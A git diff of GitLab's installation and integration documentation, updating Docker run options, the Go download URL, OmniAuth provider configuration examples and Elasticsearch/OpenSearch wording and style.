- $GITLAB_HOME/data:/var/opt/gitlab
- $GITLAB_HOME/logs:/var/log/gitlab
- $GITLAB_HOME/config:/etc/gitlab
+ shm_size: '256m'
environment:
GITLAB_OMNIBUS_CONFIG: "from_file('/omnibus_config.rb')"
configs:
@@ -325,6 +330,7 @@ sudo docker run --detach \
--volume $GITLAB_HOME/config:/etc/gitlab \
--volume $GITLAB_HOME/logs:/var/log/gitlab \
--volume $GITLAB_HOME/data:/var/opt/gitlab \
+ --shm-size 256m \
gitlab/gitlab-ee:latest
```
@@ -361,6 +367,7 @@ sudo docker run --detach \
--volume $GITLAB_HOME/config:/etc/gitlab \
--volume $GITLAB_HOME/logs:/var/log/gitlab \
--volume $GITLAB_HOME/data:/var/opt/gitlab \
+ --shm-size 256m \
gitlab/gitlab-ee:latest
```
@@ -388,6 +395,7 @@ port `2289`:
--volume $GITLAB_HOME/config:/etc/gitlab \
--volume $GITLAB_HOME/logs:/var/log/gitlab \
--volume $GITLAB_HOME/data:/var/opt/gitlab \
+ --shm-size 256m \
gitlab/gitlab-ee:latest
```
@@ -477,6 +485,7 @@ To update GitLab that was [installed using Docker Engine](#install-gitlab-using-
--volume $GITLAB_HOME/config:/etc/gitlab \
--volume $GITLAB_HOME/logs:/var/log/gitlab \
--volume $GITLAB_HOME/data:/var/opt/gitlab \
+ --shm-size 256m \
gitlab/gitlab-ee:latest
```
@@ -643,4 +652,4 @@ purpose.
### Docker containers exhausts space due to the `json-file`
-Docker's [default logging driver is `json-file`](https://docs.docker.com/config/containers/logging/configure/#configure-the-default-logging-driver), which performs no log rotation by default. As a result of this lack of rotation, log files stored by the `json-file` driver can consume a significant amount of disk space for containers that generate a lot of output. This can lead to disk space exhaustion. To address this, use [journald](https://docs.docker.com/config/containers/logging/journald/) as the logging driver when available, or [another supported driver](https://docs.docker.com/config/containers/logging/configure/#supported-logging-drivers) with native rotation support.
+Docker's [default logging driver is `json-file`](https://docs.docker.com/config/containers/logging/configure/#configure-the-default-logging-driver), which performs no log rotation by default. As a result of this lack of rotation, log files stored by the `json-file` driver can consume a significant amount of disk space for containers that generate a lot of output. This can lead to disk space exhaustion. To address this, use [`journald`](https://docs.docker.com/config/containers/logging/journald/) as the logging driver when available, or [another supported driver](https://docs.docker.com/config/containers/logging/configure/#supported-logging-drivers) with native rotation support.
diff --git a/doc/install/index.md b/doc/install/index.md
index df2f230fd27..44b234747dc 100644
--- a/doc/install/index.md
+++ b/doc/install/index.md
@@ -32,6 +32,7 @@ install GitLab:
| [Docker](https://docs.gitlab.com/omnibus/docker/) | The GitLab packages, Dockerized. | Use this method if you're familiar with Docker. |
| [Source](installation.md) | Install GitLab and all of its components from scratch. | Use this method if none of the previous methods are available for your platform. Useful for unsupported systems like \*BSD.|
| [GitLab Environment Toolkit (GET)](https://gitlab.com/gitlab-org/quality/gitlab-environment-toolkit#documentation) | The GitLab Environment toolkit provides a set of automation tools to deploy a [reference architecture](../administration/reference_architectures/index.md) on most major cloud providers. | Customers are very welcome to trial and evaluate GET today, however be aware of [key limitations](https://gitlab.com/gitlab-org/quality/gitlab-environment-toolkit#missing-features-to-be-aware-of) of the current iteration. For production environments further manual setup will be required based on your specific requirements. |
+| [GitLab Operator](https://docs.gitlab.com/charts/installation/operator.html) | The GitLab Operator provides an installation and management method for GitLab following the [Kubernetes Operator pattern](https://kubernetes.io/docs/concepts/extend-kubernetes/operator/). | Use the GitLab Operator to run GitLab in an [OpenShift](openshift_and_gitlab/index.md) environment. |
## Install GitLab on cloud providers
diff --git a/doc/install/installation.md b/doc/install/installation.md
index cd00593a99b..f405bc40f43 100644
--- a/doc/install/installation.md
+++ b/doc/install/installation.md
@@ -244,13 +244,13 @@ sudo make install
GitLab has several daemons written in Go. To install
GitLab we need a Go compiler. The instructions below assume you use 64-bit
Linux. You can find downloads for other platforms at the [Go download
-page](https://golang.org/dl).
+page](https://go.dev/dl).
```shell
# Remove former Go installation folder
sudo rm -rf /usr/local/go
-curl --remote-name --progress-bar "https://golang.org/dl/go1.16.10.linux-amd64.tar.gz"
+curl --remote-name --progress-bar "https://go.dev/dl/go1.16.10.linux-amd64.tar.gz"
echo '414cd18ce1d193769b9e97d2401ad718755ab47816e13b2a1cde203d263b55cf go1.16.10.linux-amd64.tar.gz' | shasum -a256 -c - && \
sudo tar -C /usr/local -xzf go1.16.10.linux-amd64.tar.gz
sudo ln -sf /usr/local/go/bin/{go,gofmt} /usr/local/bin/
@@ -1034,7 +1034,7 @@ To use GitLab with HTTPS:
1. Set the `port` option in section 1 to `443`.
1. Set the `https` option in section 1 to `true`.
1. In the `config.yml` of GitLab Shell:
- 1. Set `gitlab_url` option to the HTTPS endpoint of GitLab (e.g. `https://git.example.com`).
+ 1. Set `gitlab_url` option to the HTTPS endpoint of GitLab (for example, `https://git.example.com`).
1. Set the certificates using either the `ca_file` or `ca_path` option.
1. Use the `gitlab-ssl` NGINX example configuration instead of the `gitlab` configuration.
1. Update `YOUR_SERVER_FQDN`.
@@ -1119,7 +1119,7 @@ host localhost # Give your setup a name (here: override localhost)
hostname 127.0.0.1; # Your server name or IP
```
-You also need to change the corresponding options (e.g. `ssh_user`, `ssh_host`, `admin_uri`) in the `config\gitlab.yml` file.
+You also need to change the corresponding options (for example, `ssh_user`, `ssh_host`, `admin_uri`) in the `config\gitlab.yml` file.
### Additional Markup Styles
diff --git a/doc/install/openshift_and_gitlab/index.md b/doc/install/openshift_and_gitlab/index.md
index f74e9f26362..e102235c4f0 100644
--- a/doc/install/openshift_and_gitlab/index.md
+++ b/doc/install/openshift_and_gitlab/index.md
@@ -20,7 +20,7 @@ Some components (documented on the GitLab Operator doc) are not supported yet.
## Deploy to and integrate with OpenShift from GitLab
-Deploying custom or COTS applications on top of OpenShift from GitLab is supported using [the GitLab Kubernetes Agent](../../user/clusters/agent/index.md).
+Deploying custom or COTS applications on top of OpenShift from GitLab is supported using [the GitLab Agent](../../user/clusters/agent/index.md).
## Use OpenShift to run a GitLab Runner Fleet
diff --git a/doc/install/pivotal/index.md b/doc/install/pivotal/index.md
index ef6eb378346..ee379a3c95f 100644
--- a/doc/install/pivotal/index.md
+++ b/doc/install/pivotal/index.md
@@ -1,18 +1,9 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+redirect_to: '../index.md'
+remove_date: '2022-03-08'
---
-# GitLab Pivotal Tile **(PREMIUM SELF)**
+This document was removed. For information about installing GitLab, see [this page](../index.md).
-WARNING:
-As of September 13, 2017, the GitLab Enterprise Plus for Pivotal Cloud Foundry
-tile on Pivotal Network has reached its End of Availability ("EoA") and is no
-longer available for download or sale through Pivotal. Current customers with
-active subscriptions continue to receive support from GitLab through their
-subscription term. Pivotal and GitLab are collaborating on creating a new
-Kubernetes-based tile for the Pivotal Container Service. Please contact GitLab
-support with any questions regarding GitLab Enterprise Plus for Pivotal Cloud Foundry.
-
-Original article: <https://docs.pivotal.io/partners/gitlab/index.html>.
+<!-- This redirect file can be deleted after <2022-03-08>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/install/relative_url.md b/doc/install/relative_url.md
index 569f6e02ea4..43f2414e8f9 100644
--- a/doc/install/relative_url.md
+++ b/doc/install/relative_url.md
@@ -60,7 +60,7 @@ assumptions are made:
Make sure to follow all steps below:
-1. (Optional) If you run short on resources, you can temporarily free up some
+1. Optional. If you run short on resources, you can temporarily free up some
memory by shutting down the GitLab service with the following command:
```shell
diff --git a/doc/install/requirements.md b/doc/install/requirements.md
index 5dbe9a1154f..037fbd7063d 100644
--- a/doc/install/requirements.md
+++ b/doc/install/requirements.md
@@ -35,7 +35,7 @@ For the installation options, see [the main installation page](index.md).
Installation of GitLab on these operating systems is possible, but not supported.
Please see the [installation from source guide](installation.md) and the [installation guides](https://about.gitlab.com/install/) for more information.
-Please see [OS versions that are no longer supported](../administration/package_information/deprecated_os.md) for Omnibus installs page
+Please see [OS versions that are no longer supported](../administration/package_information/supported_os.md#os-versions-that-are-no-longer-supported) for Omnibus installs page
for a list of supported and unsupported OS versions as well as the last support GitLab version for that OS.
### Microsoft Windows
@@ -57,7 +57,7 @@ Redis version 6.0 or higher is recommended, as this is what ships with
### Storage
-The necessary hard drive space largely depends on the size of the repositories you want to store in GitLab but as a *rule of thumb* you should have at least as much free space as all your repositories combined take up.
+The necessary hard drive space largely depends on the size of the repositories you want to store in GitLab but as a *guideline* you should have at least as much free space as all your repositories combined take up.
The Omnibus GitLab package requires about 2.5 GB of storage space for installation.
@@ -302,7 +302,8 @@ The GitLab Runner server requirements depend on:
Since the nature of the jobs varies for each use case, you need to experiment by adjusting the job concurrency to get the optimum setting.
-For reference, the GitLab.com Runner Cloud [auto-scaling runner for Linux](../ci/runners/build_cloud/linux_build_cloud.md) is configured so that a **single job** runs in a **single instance** with:
+For reference, the [SaaS runners on Linux](../ci/runners/build_cloud/linux_build_cloud.md)
+are configured so that a **single job** runs in a **single instance** with:
- 1 vCPU.
- 3.75 GB of RAM.
diff --git a/doc/integration/akismet.md b/doc/integration/akismet.md
index d5e39a59dff..5541c5914d5 100644
--- a/doc/integration/akismet.md
+++ b/doc/integration/akismet.md
@@ -20,15 +20,15 @@ NOTE:
GitLab submits all issues to Akismet.
Akismet configuration is available to users on self-managed GitLab. Akismet is already enabled on
-GitLab SaaS (GitLab.com), where it's configuration and management are handled by GitLab Inc.
+GitLab SaaS (GitLab.com), where its configuration and management are handled by GitLab Inc.
-## Configuration **(FREE SELF)**
+## Configure Akismet **(FREE SELF)**
To use Akismet:
1. Go to the [Akismet sign-in page](https://akismet.com/account/).
1. Sign in or create a new account.
-1. Click **Show** to reveal the API key, and copy the API key's value.
+1. Select **Show** to reveal the API key, and copy the API key's value.
1. Sign in to GitLab as an administrator.
1. On the top bar, select **Menu > Admin**.
1. On the left sidebar, select **Settings > Reporting** (`/admin/application_settings/reporting`).
@@ -38,7 +38,7 @@ To use Akismet:
![Screenshot of Akismet settings](img/akismet_settings.png)
-## Training **(FREE SELF)**
+## Train the Akismet filter **(FREE SELF)**
To better differentiate between spam and ham, you can train the Akismet
filter whenever there is a false positive or false negative.
diff --git a/doc/integration/auth0.md b/doc/integration/auth0.md
index e243e1defe8..8bac95c5f04 100644
--- a/doc/integration/auth0.md
+++ b/doc/integration/auth0.md
@@ -58,12 +58,14 @@ application.
```ruby
gitlab_rails['omniauth_providers'] = [
{
- "name" => "auth0",
- "args" => { client_id: 'YOUR_AUTH0_CLIENT_ID',
- client_secret: 'YOUR_AUTH0_CLIENT_SECRET',
- domain: 'YOUR_AUTH0_DOMAIN',
- scope: 'openid profile email'
- }
+ name: "auth0",
+ # label: "Provider name", # optional label for login button, defaults to "Auth0"
+ args: {
+ client_id: "YOUR_AUTH0_CLIENT_ID",
+ client_secret: "YOUR_AUTH0_CLIENT_SECRET",
+ domain: "YOUR_AUTH0_DOMAIN",
+ scope: "openid profile email"
+ }
}
]
```
@@ -72,6 +74,7 @@ application.
```yaml
- { name: 'auth0',
+ # label: 'Provider name', # optional label for login button, defaults to "Auth0"
args: {
client_id: 'YOUR_AUTH0_CLIENT_ID',
client_secret: 'YOUR_AUTH0_CLIENT_SECRET',
diff --git a/doc/integration/azure.md b/doc/integration/azure.md
index bd16c8c0069..8d69881699b 100644
--- a/doc/integration/azure.md
+++ b/doc/integration/azure.md
@@ -58,11 +58,12 @@ As you go through the Microsoft procedure, keep the following in mind:
```ruby
gitlab_rails['omniauth_providers'] = [
{
- "name" => "azure_oauth2",
- "args" => {
- "client_id" => "CLIENT ID",
- "client_secret" => "CLIENT SECRET",
- "tenant_id" => "TENANT ID",
+ name: "azure_oauth2",
+ # label: "Provider name", # optional label for login button, defaults to "Azure AD"
+ args: {
+ client_id: "CLIENT ID",
+ client_secret: "CLIENT SECRET",
+ tenant_id: "TENANT ID",
}
}
]
@@ -72,9 +73,10 @@ As you go through the Microsoft procedure, keep the following in mind:
```yaml
- { name: 'azure_oauth2',
- args: { client_id: "CLIENT ID",
- client_secret: "CLIENT SECRET",
- tenant_id: "TENANT ID" } }
+ # label: 'Provider name', # optional label for login button, defaults to "Azure AD"
+ args: { client_id: 'CLIENT ID',
+ client_secret: 'CLIENT SECRET',
+ tenant_id: 'TENANT ID' } }
```
The `base_azure_url` is optional and can be added for different locales;
@@ -167,6 +169,7 @@ Alternatively, add the `User.Read.All` application permission.
gitlab_rails['omniauth_providers'] = [
{
"name" => "azure_activedirectory_v2",
+ "label" => "Provider name", # optional label for login button, defaults to "Azure AD v2"
"args" => {
"client_id" => "CLIENT ID",
"client_secret" => "CLIENT SECRET",
@@ -180,9 +183,10 @@ Alternatively, add the `User.Read.All` application permission.
```yaml
- { name: 'azure_activedirectory_v2',
- args: { client_id: "CLIENT ID",
- client_secret: "CLIENT SECRET",
- tenant_id: "TENANT ID" } }
+ label: 'Provider name', # optional label for login button, defaults to "Azure AD v2"
+ args: { client_id: "CLIENT ID",
+ client_secret: "CLIENT SECRET",
+ tenant_id: "TENANT ID" } }
```
The `base_azure_url` is optional and can be added for different locales;
diff --git a/doc/integration/bitbucket.md b/doc/integration/bitbucket.md
index fa3b62ba7af..db7e7d74efe 100644
--- a/doc/integration/bitbucket.md
+++ b/doc/integration/bitbucket.md
@@ -42,7 +42,7 @@ to the end of the Bitbucket authorization callback URL.
- **Name:** This can be anything. Consider something like `<Organization>'s GitLab`
or `<Your Name>'s GitLab` or something else descriptive.
- - **Application description:** *(Optional)* Fill this in if you wish.
+ - **Application description:** Optional. Fill this in if you wish.
- **Callback URL:** (Required in GitLab versions 8.15 and greater)
The URL to your GitLab installation, such as
`https://gitlab.example.com/users/auth`.
@@ -87,10 +87,11 @@ to the end of the Bitbucket authorization callback URL.
```ruby
gitlab_rails['omniauth_providers'] = [
{
- "name" => "bitbucket",
- "app_id" => "BITBUCKET_APP_KEY",
- "app_secret" => "BITBUCKET_APP_SECRET",
- "url" => "https://bitbucket.org/"
+ name: "bitbucket",
+ # label: "Provider name", # optional label for login button, defaults to "Bitbucket"
+ app_id: "BITBUCKET_APP_KEY",
+ app_secret: "BITBUCKET_APP_SECRET",
+ url: "https://bitbucket.org/"
}
]
```
@@ -102,6 +103,7 @@ to the end of the Bitbucket authorization callback URL.
enabled: true
providers:
- { name: 'bitbucket',
+ # label: 'Provider name', # optional label for login button, defaults to "Bitbucket"
app_id: 'BITBUCKET_APP_KEY',
app_secret: 'BITBUCKET_APP_SECRET',
url: 'https://bitbucket.org/' }
diff --git a/doc/integration/cas.md b/doc/integration/cas.md
index 4699f7147aa..9594836164a 100644
--- a/doc/integration/cas.md
+++ b/doc/integration/cas.md
@@ -37,14 +37,14 @@ configure CAS for back-channel logout.
```ruby
gitlab_rails['omniauth_providers'] = [
{
- "name"=> "cas3",
- "label"=> "cas",
- "args"=> {
- "url"=> 'CAS_SERVER',
- "login_url"=> '/CAS_PATH/login',
- "service_validate_url"=> '/CAS_PATH/p3/serviceValidate',
- "logout_url"=> '/CAS_PATH/logout'
- }
+ name: "cas3",
+ label: "Provider name", # optional label for login button, defaults to "Cas3"
+ args: {
+ url: "CAS_SERVER",
+ login_url: "/CAS_PATH/login",
+ service_validate_url: "/CAS_PATH/p3/serviceValidate",
+ logout_url: "/CAS_PATH/logout"
+ }
}
]
```
@@ -53,7 +53,7 @@ configure CAS for back-channel logout.
```yaml
- { name: 'cas3',
- label: 'cas',
+ label: 'Provider name', # optional label for login button, defaults to "Cas3"
args: {
url: 'CAS_SERVER',
login_url: '/CAS_PATH/login',
diff --git a/doc/integration/datadog.md b/doc/integration/datadog.md
index 687be5adcf7..89e08d330e8 100644
--- a/doc/integration/datadog.md
+++ b/doc/integration/datadog.md
@@ -32,20 +32,20 @@ project, group, or instance level:
1. Scroll to **Add an integration**, and select **Datadog**.
1. Select **Active** to enable the integration.
1. Specify the [**Datadog site**](https://docs.datadoghq.com/getting_started/site/) to send data to.
-1. (Optional) To override the API URL used to send data directly, provide an **API URL**.
+1. Optional. To override the API URL used to send data directly, provide an **API URL**.
Used only in advanced scenarios.
1. Provide your Datadog **API key**.
-1. (Optional) If you use more than one GitLab instance, provide a unique **Service** name
+1. Optional. If you use more than one GitLab instance, provide a unique **Service** name
to differentiate between your GitLab instances.
-1. (Optional) If you use groups of GitLab instances (such as staging and production
+1. Optional. If you use groups of GitLab instances (such as staging and production
environments), provide an **Env** name. This value is attached to each span
the integration generates.
-1. (Optional) Select **Test settings** to test your integration.
+1. Optional. Select **Test settings** to test your integration.
1. Select **Save changes**.
When the integration sends data, you can view it in the [CI Visibility](https://app.datadoghq.com/ci)
section of your Datadog account.
-## Related links
+## Related topics
- [Datadog's CI Visibility](https://docs.datadoghq.com/continuous_integration/) documentation.
diff --git a/doc/integration/ding_talk.md b/doc/integration/ding_talk.md
index 55d51a5ebff..2bc4f29298a 100644
--- a/doc/integration/ding_talk.md
+++ b/doc/integration/ding_talk.md
@@ -60,9 +60,10 @@ Sign in to DingTalk Open Platform and create an application on it. DingTalk gene
```ruby
gitlab_rails['omniauth_providers'] = [
{
- "name" => "ding_talk",
- "app_id" => "YOUR_APP_ID",
- "app_secret" => "YOUR_APP_SECRET"
+ name: "dingtalk",
+ # label: "Provider name", # optional label for login button, defaults to "Ding Talk"
+ app_id: "YOUR_APP_ID",
+ app_secret: "YOUR_APP_SECRET"
}
]
```
@@ -70,7 +71,8 @@ Sign in to DingTalk Open Platform and create an application on it. DingTalk gene
For installations from source:
```yaml
- - { name: 'ding_talk',
+ - { name: 'dingtalk',
+ # label: 'Provider name', # optional label for login button, defaults to "Ding Talk"
app_id: 'YOUR_APP_ID',
app_secret: 'YOUR_APP_SECRET' }
```
diff --git a/doc/integration/elasticsearch.md b/doc/integration/elasticsearch.md
index 20f8fdc55f2..8461aca8c8d 100644
--- a/doc/integration/elasticsearch.md
+++ b/doc/integration/elasticsearch.md
@@ -48,7 +48,7 @@ each node should have:
Elasticsearch is *not* included in the Omnibus packages or when you install from
source. You must [install it separately](https://www.elastic.co/guide/en/elasticsearch/reference/7.x/install-elasticsearch.html "Elasticsearch 7.x installation documentation") and ensure you select your version. Detailed information on how to install Elasticsearch is out of the scope of this page.
-You can install Elasticsearch yourself, or use a cloud hosted offering such as [Elasticsearch Service](https://www.elastic.co/elasticsearch/service)(available on AWS, GCP, or Azure) or the [Amazon Elasticsearch](https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-gsg.html)
+You can install Elasticsearch yourself, or use a cloud hosted offering such as [Elasticsearch Service](https://www.elastic.co/elasticsearch/service) (available on AWS, GCP, or Azure) or the [Amazon OpenSearch](https://docs.aws.amazon.com/opensearch-service/latest/developerguide/gsg.html)
service.
You should install Elasticsearch on a separate server. Running Elasticsearch on the same server as GitLab is not recommended and can cause a degradation in GitLab instance performance.
@@ -93,7 +93,7 @@ the indexer itself.
This project relies on [International Components for Unicode](https://icu.unicode.org/) (ICU) for text encoding,
therefore we must ensure the development packages for your platform are
-installed before running `make`.
+installed before running `make`.
#### Debian / Ubuntu
@@ -207,9 +207,9 @@ The following Elasticsearch settings are available:
| `Password` | The password of your Elasticsearch instance. |
| `Number of Elasticsearch shards` | Elasticsearch indexes are split into multiple shards for performance reasons. In general, you should use at least 5 shards, and indexes with tens of millions of documents need to have more shards ([see below](#guidance-on-choosing-optimal-cluster-configuration)). Changes to this value do not take effect until the index is recreated. You can read more about tradeoffs in the [Elasticsearch documentation](https://www.elastic.co/guide/en/elasticsearch/reference/current/scalability.html). |
| `Number of Elasticsearch replicas` | Each Elasticsearch shard can have a number of replicas. These are a complete copy of the shard, and can provide increased query performance or resilience against hardware failure. Increasing this value increases total disk space required by the index. |
-| `Limit namespaces and projects that can be indexed` | Enabling this allows you to select namespaces and projects to index. All other namespaces and projects use database search instead. If you enable this option but do not select any namespaces or projects, none will be indexed. [Read more below](#limit-namespaces-and-projects).
-| `Using AWS hosted Elasticsearch with IAM credentials` | Sign your Elasticsearch requests using [AWS IAM authorization](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_access-keys.html), [AWS EC2 Instance Profile Credentials](https://docs.aws.amazon.com/codedeploy/latest/userguide/getting-started-create-iam-instance-profile.html#getting-started-create-iam-instance-profile-cli), or [AWS ECS Tasks Credentials](https://docs.aws.amazon.com/AmazonECS/latest/userguide/task-iam-roles.html). Please refer to [Identity and Access Management in Amazon Elasticsearch Service](https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-ac.html) for details of AWS hosted Elasticsearch domain access policy configuration. |
-| `AWS Region` | The AWS region in which your Elasticsearch service is located. |
+| `Limit namespaces and projects that can be indexed` | Enabling this allows you to select namespaces and projects to index. All other namespaces and projects use database search instead. If you enable this option but do not select any namespaces or projects, none are indexed. [Read more below](#limit-namespaces-and-projects).
+| `Using AWS hosted Elasticsearch with IAM credentials` | Sign your Elasticsearch requests using [AWS IAM authorization](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_access-keys.html), [AWS EC2 Instance Profile Credentials](https://docs.aws.amazon.com/codedeploy/latest/userguide/getting-started-create-iam-instance-profile.html#getting-started-create-iam-instance-profile-cli), or [AWS ECS Tasks Credentials](https://docs.aws.amazon.com/AmazonECS/latest/userguide/task-iam-roles.html). Please refer to [Identity and Access Management in Amazon OpenSearch Service](https://docs.aws.amazon.com/opensearch-service/latest/developerguide/ac.html) for details of AWS hosted OpenSearch domain access policy configuration. |
+| `AWS Region` | The AWS region in which your OpenSearch Service is located. |
| `AWS Access Key` | The AWS access key. |
| `AWS Secret Access Key` | The AWS secret access key. |
| `Maximum file size indexed` | See [the explanation in instance limits.](../administration/instance_limits.md#maximum-file-size-indexed). |
@@ -233,7 +233,7 @@ If you select `Limit namespaces and projects that can be indexed`, more options
You can select namespaces and projects to index exclusively. Note that if the namespace is a group, it includes
any subgroups and projects belonging to those subgroups to be indexed as well.
-Advanced Search only provides cross-group code/commit search (global) if all name-spaces are indexed. In this particular scenario where only a subset of namespaces are indexed, a global search will not provide a code or commit scope. This is possible only in the scope of an indexed namespace. There is no way to code/commit search in multiple indexed namespaces (when only a subset of namespaces has been indexed). For example if two groups are indexed, there is no way to run a single code search on both. You can only run a code search on the first group and then on the second.
+Advanced Search only provides cross-group code/commit search (global) if all name-spaces are indexed. In this particular scenario where only a subset of namespaces are indexed, a global search does not provide a code or commit scope. This is possible only in the scope of an indexed namespace. There is no way to code/commit search in multiple indexed namespaces (when only a subset of namespaces has been indexed). For example if two groups are indexed, there is no way to run a single code search on both. You can only run a code search on the first group and then on the second.
You can filter the selection dropdown by writing part of the namespace or project name you're interested in.
@@ -279,8 +279,8 @@ To disable the Elasticsearch integration:
1. On the top bar, select **Menu > Admin**.
1. On the left sidebar, select **Settings > Advanced Search**.
1. Uncheck **Elasticsearch indexing** and **Search with Elasticsearch enabled**.
-1. Click **Save changes** for the changes to take effect.
-1. (Optional) Delete the existing indexes:
+1. Select **Save changes**.
+1. Optional. Delete the existing indexes:
```shell
# Omnibus installations
@@ -355,7 +355,7 @@ Setting this value too high can have adverse performance impacts as your cluster
may become heavily saturated with searches and writes. Setting this value too
low may lead the reindexing process to take a very long time to complete.
-The best value for this will depend on your cluster size, whether you're willing
+The best value for this depends on your cluster size, whether you're willing
to accept some degraded search performance during reindexing, and how important
it is for the reindex to finish quickly and resume indexing.
@@ -375,7 +375,7 @@ Sometimes, you might want to abandon the unfinished reindex job and resume the i
1. On the top bar, select **Menu > Admin**.
1. On the left sidebar, select **Settings > Advanced Search**.
-1. Expand **Elasticsearch zero-downtime reindexing**.
+1. Expand **Advanced Search**.
1. Clear the **Pause Elasticsearch indexing** checkbox.
## Advanced Search migrations
@@ -430,23 +430,23 @@ In order to debug issues with the migrations you can check the [`elasticsearch.l
### Retry a halted migration
Some migrations are built with a retry limit. If the migration cannot finish within the retry limit,
-it will be halted and a notification will be displayed in the Advanced Search integration settings.
+it is halted and a notification is displayed in the Advanced Search integration settings.
It is recommended to check the [`elasticsearch.log` file](../administration/logs.md#elasticsearchlog) to
debug why the migration was halted and make any changes before retrying the migration. Once you believe you've
-fixed the cause of the failure, click "Retry migration", and the migration will be scheduled to be retried
+fixed the cause of the failure, click "Retry migration", and the migration is scheduled to be retried
in the background.
If you cannot get the migration to succeed, you may
consider the [last resort to recreate the index from
scratch](#last-resort-to-recreate-an-index). This may allow you to skip over
-the problem because a newly created index will skip all migrations as the index
-will be recreated with the correct up-to-date schema.
+the problem because a newly created index skips all migrations as the index
+is recreated with the correct up-to-date schema.
### All migrations must be finished before doing a major upgrade
Before doing a major version GitLab upgrade, you should have completed all
migrations that exist up until the latest minor version before that major
-version. If you have halted migrations, these will need to be resolved and
+version. If you have halted migrations, these need to be resolved and
[retried](#retry-a-halted-migration) before proceeding with a major version
upgrade. Read more about [upgrading to a new major
version](../update/index.md#upgrading-to-a-new-major-version).
@@ -468,7 +468,7 @@ The following are some available Rake tasks:
| [`sudo gitlab-rake gitlab:elastic:resume_indexing`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Resumes Elasticsearch indexing. |
| [`sudo gitlab-rake gitlab:elastic:index_projects`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Iterates over all projects and queues Sidekiq jobs to index them in the background. |
| [`sudo gitlab-rake gitlab:elastic:index_projects_status`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Determines the overall status of the indexing. It is done by counting the total number of indexed projects, dividing by a count of the total number of projects, then multiplying by 100. |
-| [`sudo gitlab-rake gitlab:elastic:clear_index_status`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Deletes all instances of IndexStatus for all projects. Note that this command will result in a complete wipe of the index, and it should be used with caution. |
+| [`sudo gitlab-rake gitlab:elastic:clear_index_status`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Deletes all instances of IndexStatus for all projects. Note that this command results in a complete wipe of the index, and it should be used with caution. |
| [`sudo gitlab-rake gitlab:elastic:create_empty_index`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Generates empty indexes (the default index and a separate issues index) and assigns an alias for each on the Elasticsearch side only if it doesn't already exist. |
| [`sudo gitlab-rake gitlab:elastic:delete_index`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Removes the GitLab indexes and aliases (if they exist) on the Elasticsearch instance. |
| [`sudo gitlab-rake gitlab:elastic:recreate_index`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Wrapper task for `gitlab:elastic:delete_index` and `gitlab:elastic:create_empty_index`. |
@@ -501,7 +501,7 @@ I, [2019-03-04T21:27:05.215266 #3384] INFO -- : Indexing GitLab User / test (ID
## Advanced Search index scopes
-When performing a search, the GitLab index will use the following scopes:
+When performing a search, the GitLab index uses the following scopes:
| Scope Name | What it searches |
| ---------------- | ---------------------- |
@@ -521,25 +521,25 @@ When performing a search, the GitLab index will use the following scopes:
For basic guidance on choosing a cluster configuration you may refer to [Elastic Cloud Calculator](https://cloud.elastic.co/pricing). You can find more information below.
-- Generally, you will want to use at least a 2-node cluster configuration with one replica, which will allow you to have resilience. If your storage usage is growing quickly, you may want to plan horizontal scaling (adding more nodes) beforehand.
-- It's not recommended to use HDD storage with the search cluster, because it will take a hit on performance. It's better to use SSD storage (NVMe or SATA SSD drives for example).
+- Generally, you want to use at least a 2-node cluster configuration with one replica, which allows you to have resilience. If your storage usage is growing quickly, you may want to plan horizontal scaling (adding more nodes) beforehand.
+- It's not recommended to use HDD storage with the search cluster, because it takes a hit on performance. It's better to use SSD storage (NVMe or SATA SSD drives for example).
- You can use the [GitLab Performance Tool](https://gitlab.com/gitlab-org/quality/performance) to benchmark search performance with different search cluster sizes and configurations.
- `Heap size` should be set to no more than 50% of your physical RAM. Additionally, it shouldn't be set to more than the threshold for zero-based compressed oops. The exact threshold varies, but 26 GB is safe on most systems, but can also be as large as 30 GB on some systems. See [Heap size settings](https://www.elastic.co/guide/en/elasticsearch/reference/current/important-settings.html#heap-size-settings) and [Setting JVM options](https://www.elastic.co/guide/en/elasticsearch/reference/current/jvm-options.html) for more details.
- Number of CPUs (CPU cores) per node usually corresponds to the `Number of Elasticsearch shards` setting described below.
-- A good guideline is to ensure you keep the number of shards per node below 20 per GB heap it has configured. A node with a 30GB heap should therefore have a maximum of 600 shards, but the further below this limit you can keep it the better. This will generally help the cluster stay in good health.
+- A good guideline is to ensure you keep the number of shards per node below 20 per GB heap it has configured. A node with a 30GB heap should therefore have a maximum of 600 shards, but the further below this limit you can keep it the better. This generally helps the cluster stay in good health.
- Number of Elasticsearch shards:
- Small shards result in small segments, which increases overhead. Aim to keep the average shard size between at least a few GB and a few tens of GB.
- Another consideration is the number of documents. To determine the number of shards to use, sum the numbers in the **Menu > Admin > Dashboard > Statistics** pane (the number of documents to be indexed), divide by 5 million, and add 5. For example:
- If you have fewer than about 2,000,000 documents, use the default of 5 shards
- 10,000,000 documents: `10000000/5000000 + 5` = 7 shards
- 100,000,000 documents: `100000000/5000000 + 5` = 25 shards
-- `refresh_interval` is a per index setting. You may want to adjust that from default `1s` to a bigger value if you don't need data in real-time. This will change how soon you will see fresh results. If that's important for you, you should leave it as close as possible to the default value.
+- `refresh_interval` is a per index setting. You may want to adjust that from default `1s` to a bigger value if you don't need data in real-time. This changes how soon you see fresh results. If that's important for you, you should leave it as close as possible to the default value.
